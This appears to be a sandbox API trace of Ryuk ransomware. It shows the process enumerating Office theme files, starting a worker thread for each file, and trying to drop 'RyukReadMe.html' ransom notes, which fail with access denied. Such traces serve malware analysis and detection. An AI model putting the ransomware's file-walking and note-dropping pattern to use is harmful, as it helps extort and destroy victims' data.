	[0262.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0c
	[0262.838] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.839] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1
	[0262.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b10
	[0262.840] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.841] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1
	[0262.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b14
	[0265.981] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.981] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x88, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1
	[0265.981] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b18
	[0265.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.983] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x88, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1
	[0265.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b1c
	[0265.985] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.985] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x88, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1
	[0265.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b20
	[0265.987] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.987] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x88, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1
	[0265.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b24
	[0265.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.989] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x88, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1
	[0265.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b28
	[0265.991] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.991] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1
	[0265.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b2c
	[0265.993] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.994] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x88, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1
	[0265.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b30
	[0265.996] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.996] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1
	[0265.996] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b34
	[0265.998] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0265.998] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1
	[0265.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0265.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b38
	[0266.000] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.000] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x88, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1
	[0266.000] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b3c
	[0266.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.002] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x88, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0
	[0266.002] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0268.205] SetLastError (dwErrCode=0x0) 
	[0268.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.273] GetLastError () returned 0x5
	[0269.273] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0269.273] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.273] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0269.273] SetLastError (dwErrCode=0x0) 
	[0269.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.274] GetLastError () returned 0x5
	[0269.274] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0269.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x88, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0269.422] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x88, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0269.425] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x88, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1
	[0269.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4c
	[0269.428] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.428] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x88, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1
	[0269.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b50
	[0269.429] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.430] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x88, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1
	[0269.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b54
	[0269.431] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.432] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x88, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1
	[0269.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b58
	[0269.434] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.434] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x88, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1
	[0269.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b5c
	[0269.436] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.436] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x88, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1
	[0269.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b60
	[0269.438] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.438] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x88, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1
	[0269.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b64
	[0269.440] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.443] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x88, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1
	[0269.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b68
	[0269.445] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.445] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x88, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1
	[0269.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.446] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b6c
	[0269.447] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.447] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1
	[0269.447] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b70
	[0269.449] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
